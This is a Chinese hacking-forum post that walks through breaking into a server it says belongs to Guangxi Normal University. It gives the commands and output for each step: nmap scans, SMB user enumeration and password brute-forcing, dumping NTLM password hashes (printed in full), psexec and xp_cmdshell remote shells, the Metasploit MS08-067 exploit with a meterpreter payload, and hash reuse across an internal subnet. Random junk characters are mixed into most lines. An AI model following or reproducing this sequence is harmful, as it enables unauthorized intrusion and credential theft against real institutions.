中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]

---

作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/

root@bt:~# nmap -sS -sV 202.103.242.241
% p, B# O; E- U- A6 g& c) W
/ _) ^: ~+ m0 H- `( a5 o& zStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
" _4 J* x$ Q3 X4 L' K, K- V* E
Nmap scan report for bogon (202.103.242.241)
( {* s5 @1 Z, _. \& B
Host is up (0.00048s latency).

. J3 h' q% W$ k2 q8 qNot shown: 993 closed ports
, w& y9 [/ o* F( [: y* H
PORT     STATE SERVICE       VERSION

: m# e. a2 [+ p* ^: `6 g135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

139/tcp  open  netbios-ssn
9 `) T/ @* K  P+ L2 H5 L( p
0 l; I8 {8 F* y; f+ u8 c  ^: n3 f445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds

/ {: p/ w/ s; k2 Y" K! O1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
' k# ~4 w/ ~* C
1026/tcp open  msrpc         Microsoft Windows RPC
9 ]4 e; r. H) v% a( a
3372/tcp open  msdtc?
+ X# M9 a& z& X" u
3389/tcp open  ms-term-serv?
5 R! O8 R" B+ D& @7 |
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

% k  z4 S/ V% lSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)

% I0 s* L, ?+ t! u  `; q1 @7 mSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO

$ y* \" w" [: TSF:ptions,6,”hO\n\x000Z”);

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
( \9 l) Y' x$ G8 J+ x2 U' K
# d3 K! i* d/ s: b# G" G8 a4 vroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
# L$ |0 R7 R, J4 i) f
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse

7 ]9 }! e1 l, |. o5 A0 z7 f. m# k-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse

2 E5 T% x  W. O! c6 n2 H; d, a1 B$ W-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
4 b, K; f* R- ?9 l) F; i
# T2 n1 Z  q7 K1 l2 ]+ a-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse

, ]+ ?) y+ |- X. @% l# d-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
, L  o8 _! M/ y3 X6 F
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse

# v3 `5 t/ A5 {- Z7 H5 D* ~  l-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
5 J8 Z, q% p: l7 F: _
; v% |4 g% q5 X5 Z-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
! U0 w8 c, Y8 G4 n9 D
0 t" ]. B& N0 [, A$ S-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
* ]8 i+ y2 N; G& o
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse

0 X0 a/ Z7 _# w* v& ?% \( |% x1 a-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
: J( Q, ^9 V7 m' W2 e7 O
-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse
' @( P, M9 j# b
; I0 z7 T/ ]1 F, M+ X2 B+ d-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse

-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse

$ F$ b0 J2 L2 q, f% t# E/ q' Rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   
" u, ]; n' [! {7 A4 Y, g
3 ]3 l, _2 N' y* Y4 P6 k: _//此乃使用脚本扫描远程机器所存在的账户名
$ d: N3 ]5 [  x$ t4 M9 b* t' l+ d
( |8 i$ Z/ w/ \8 _2 v# OStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
0 c( n3 W" \- L) v
Nmap scan report for bogon (202.103.242.241)

Host is up (0.00038s latency).
2 g. L6 b0 K, R  r! C
Not shown: 993 closed ports

! D$ _4 C' V0 b* T+ C( d/ V; H. TPORT     STATE SERVICE

* I! }# k- i' \3 S# @: h% @  I135/tcp  open  msrpc

139/tcp  open  netbios-ssn
, J, n$ {0 _- V- Y
445/tcp  open  microsoft-ds
1 C3 r6 c6 f; \1 u! d
1025/tcp open  NFS-or-IIS
* _# G. j4 m- T/ `" t
2 `) S: G4 J. H8 S, P( E7 d1026/tcp open  LSA-or-nterm
2 R( k2 G  Z) @9 l2 w
; y$ A& E# v( |" s7 u2 Q4 G3372/tcp open  msdtc
7 h8 d7 d/ \2 @
3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
, n* [0 @2 ~% r4 v
- }6 [" r, {4 @6 BHost script results:
2 d" F% u# C8 o
| smb-enum-users:

& ]3 F/ T% G5 Q/ C, c8 r6 T- Z|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
' v, ^% Q: ~7 m6 Z4 u- m
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
& p+ b$ H3 c3 h* X6 b# A
& S4 b) z+ m7 u& D0 y. groot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241

//查看共享

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
9 R. y2 f* \! S! h5 F6 I
Nmap scan report for bogon (202.103.242.241)

. f4 s# T- n4 v& eHost is up (0.00035s latency).

Not shown: 993 closed ports
9 A% z. e) [* o- x
PORT     STATE SERVICE
, t! ?4 E: l9 Y/ Y) @( j
135/tcp  open  msrpc

139/tcp  open  netbios-ssn
5 e& O4 W! |8 m, ^
445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS
! }0 `3 _- G8 u7 L( ~( ]- M
& o5 g7 @8 X# [! V1026/tcp open  LSA-or-nterm
  c* O4 K" B8 _0 ?0 |3 v+ _1 _
3372/tcp open  msdtc

3389/tcp open  ms-term-serv
. L) `. G: Y9 Z
: t) d4 F8 K( E0 ~6 n8 n/ _MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
6 ?7 T8 W; H" l# y
6 P9 V+ j+ f1 f" G9 M| smb-enum-shares:

- x- y: y$ ~! z2 b|   ADMIN$
3 N: f+ w* n- ?  r+ n% G
|     Anonymous access: <none>

! z9 e0 h0 |$ z8 V/ g|   C$

7 G9 ^+ A. \. M: a  D2 s0 M, q|     Anonymous access: <none>
% r6 s) W) \8 l3 N/ n
|   IPC$
8 l' N$ s/ T9 y, n9 R
|_    Anonymous access: READ
! z5 d7 {' {1 K, V1 {4 B' g& v) t
, X. V5 y% N; i% U) P6 U( K) @- S& }, UNmap done: 1 IP address (1 host up) scanned in 1.05 seconds
6 d& J$ u- n# L# C
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      

//获取用户密码
% i- }% c+ R+ f! _
3 [& q# O* x7 O( L4 g  K7 lStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

Nmap scan report for bogon (202.103.242.2418)
; l# l- C1 r) }2 s- S
" y, o* V2 u* \$ y  `+ DHost is up (0.00041s latency).
& c/ Q1 q7 T4 o1 n5 [1 u  J
Not shown: 993 closed ports

PORT     STATE SERVICE

135/tcp  open  msrpc
$ [3 l5 R! P1 g5 I5 J
139/tcp  open  netbios-ssn

/ M3 [% Z3 S8 F2 P) i445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS
) Y  e' H. Z2 J) x. r6 u
* }$ o# i3 |2 Q  s  y1026/tcp open  LSA-or-nterm
0 h0 Z: u% Q7 ^. X, ^1 g
8 L" ^$ M- V; V+ S1 I3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
7 ^/ }$ J. t* z. p* u
Host script results:

$ g/ z% b. t: e+ i7 Y- || smb-brute:

administrator:<blank> => Login was successful
, i/ c, w- _4 P0 @, f
|_  test:123456 => Login was successful
1 U- C+ T3 @% o: n, L3 Q; Z
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
( h! ~/ O8 y5 b- H
. l" P  B& S! q) U  xroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
9 V7 a* G1 ^/ i! o; ^
# a1 k; g- ~5 droot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
+ j" E, b4 Q  K" `0 z( ?0 }
% h) W1 E4 l6 H1 D9 @8 B3 |root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse

root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
/ X. w+ c9 r$ |: M! A
, Q8 z9 T5 A& K) \0 e7 V5 C  nStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST

Nmap scan report for bogon (202.103.242.241)

. o" e' a9 Y) F" B& \7 }Host is up (0.0012s latency).

PORT    STATE SERVICE
! t4 u# C& I% I/ H/ y
/ J: K7 P3 R3 G" b135/tcp open  msrpc

139/tcp open  netbios-ssn
0 s; @) q; b5 i; H
7 L) I$ G. f: {5 y. T445/tcp open  microsoft-ds

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

| smb-pwdump:
# B  W/ x) \  O  W1 j; I+ x
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

9 b8 z8 _# |0 a9 p  z| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
* H( t: g+ m1 Y) a8 P6 h; h
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4

|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
% X% x/ I7 K5 x! W: ]6 M5 i
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
1 A* {: _8 J6 K- K# M1 z
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell

-p 123456 -e cmd.exe
; O, A6 X  C! r# d. t
' V3 ^. \; H) a3 a% I3 a! S: \PsExec v1.55 – Execute processes remotely

1 C0 l) V& ?9 [; S9 e3 m6 mCopyright (C) 2001-2004 Mark Russinovich
3 N: n$ Z9 d1 E
; l$ j; z' {+ nSysinternals – www.sysinternals.com

Microsoft Windows 2000 [Version 5.00.2195]

5 g2 i% W8 `: ~9 J* W" h. X: Q0 Y(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig

Windows 2000 IP Configuration

9 ^: M! N# m! WEthernet adapter 本地连接:

Connection-specific DNS Suffix  . :
/ a; `3 R8 d, J
IP Address. . . . . . . . . . . . : 202.103.242.241
2 g& m6 E: e$ [: s( m( d2 Q
Subnet Mask . . . . . . . . . . . : 255.255.255.0
" O  a: M( S0 V4 }2 R
Default Gateway . . . . . . . . . : 202.103.1.1

C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
8 c* h7 `$ f4 G8 H3 o
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
8 V  K' z6 t: f$ Z- S% f% N
Nmap scan report for bogon (202.103.242.241)
6 y% ~9 E9 o1 L5 K0 B$ W& B: Z/ I0 n
/ `; s& v  Q3 X9 D' rHost is up (0.00046s latency).

Not shown: 993 closed ports
  L( H- {( d) W& q! K
7 F0 g' t3 j7 U( E5 o) ?PORT     STATE SERVICE

135/tcp  open  msrpc
/ U' F& P& q" F) z6 y* Q
139/tcp  open  netbios-ssn
$ l- n* |: J9 x% m- u
445/tcp  open  microsoft-ds
3 j# g/ c! \' X% ]  C+ d4 i" F
1025/tcp open  NFS-or-IIS
+ L' Y! d! Y) C, [/ W
$ g5 l+ |5 k* @: _3 p1026/tcp open  LSA-or-nterm
% h9 H! }; N1 Y+ s
3372/tcp open  msdtc
" n- w5 E- y1 Y1 h
% m& a- F' a' ^  |# g) E) V3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

; P* C7 O, W' }; w( a  A# {| smb-check-vulns:
7 ?4 `9 ?5 ^" X7 M
|_  MS08-067: VULNERABLE
* I+ L; ?4 K8 l" U' G' w
# X3 }7 H) i: i/ B, H9 ~+ RNmap done: 1 IP address (1 host up) scanned in 1.43 seconds

6 D3 \" A3 I# H) ^6 d% x$ b# G9 M/ nroot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出

msf > search ms08

msf > use exploit/windows/smb/ms08_067_netapi
7 j3 }6 L4 o' I1 z$ D5 x/ ^6 l4 y1 j
* j. Z* t+ K8 E' e7 mmsf  exploit(ms08_067_netapi) > show options

- e# l+ q) f4 Z- k, L5 x* ?msf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241

msf  exploit(ms08_067_netapi) > show payloads

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

msf  exploit(ms08_067_netapi) > exploit
- X/ G! y! C1 b5 f* @
, H$ [/ I1 i2 h! umeterpreter >

, J4 k* S+ L2 f9 o) K/ `Background session 2? [y/N]  (ctrl+z)

msf  exploit(ms08_067_netapi) > sessions -l
2 K! y; W# g& R
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt

test

" h8 J8 Z3 R+ C) g3 cadministrator
; x5 n' M" ]$ g0 Z8 U
- `3 n0 }' T5 z8 l0 Nroot@bt:/usr/local/share/nmap/scripts# vim password.txt
2 ]3 W% U8 e! i' ^
44EFCE164AB921CAAAD3B435B51404EE

' @7 _+ \6 {3 X- B: droot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
5 y; X1 w, ^0 c, X8 r6 O6 L
9 i$ x! @( I0 G; K- z5 G) b- I //利用用户名跟获取的hash尝试对整段内网进行登录
8 y+ n3 k2 R5 F! X( ^
( t$ r( E; P4 |% S. [$ d  I8 [0 kNmap scan report for 192.168.1.105

8 d9 G/ s/ d* J. T% \) u' z: Z: vHost is up (0.00088s latency).
4 X; u+ M/ P% h
# `2 g3 s- M+ v  Z, MNot shown: 993 closed ports

! ?5 C( d3 U: L, b7 d: M/ pPORT     STATE SERVICE

/ ~: p7 H  B5 g- k135/tcp  open  msrpc
7 I9 c$ \7 I$ q4 o9 k
5 b* }2 x+ Y/ H) h, \5 V/ G139/tcp  open  netbios-ssn
6 R3 ?* D7 C$ w* B! g! Q4 a: S
445/tcp  open  microsoft-ds
, ?* e% P1 b2 i6 u: v: I0 c) R
$ s5 ~% {4 k5 G' A0 y1025/tcp open  NFS-or-IIS
; Y+ H3 j3 B. A+ [* w$ v0 |2 E
* V* k) K) x  e- u1026/tcp open  LSA-or-nterm

: b3 w% l4 _" v7 a5 r( N3372/tcp open  msdtc

0 A, ^" O- q2 r3 H% C' J3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
0 N9 Y- e- s" S' m, E3 }
$ G/ s( j1 ]4 ]: @# {/ c! v) B% QHost script results:

| smb-brute:

|_  administrator:<blank> => Login was successful

5 L$ y5 O4 @( D' p6 x9 {1 |$ ?攻击成功，一个简单的msf+nmap攻击~~·
6 v% [) _' M% t# e: X

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2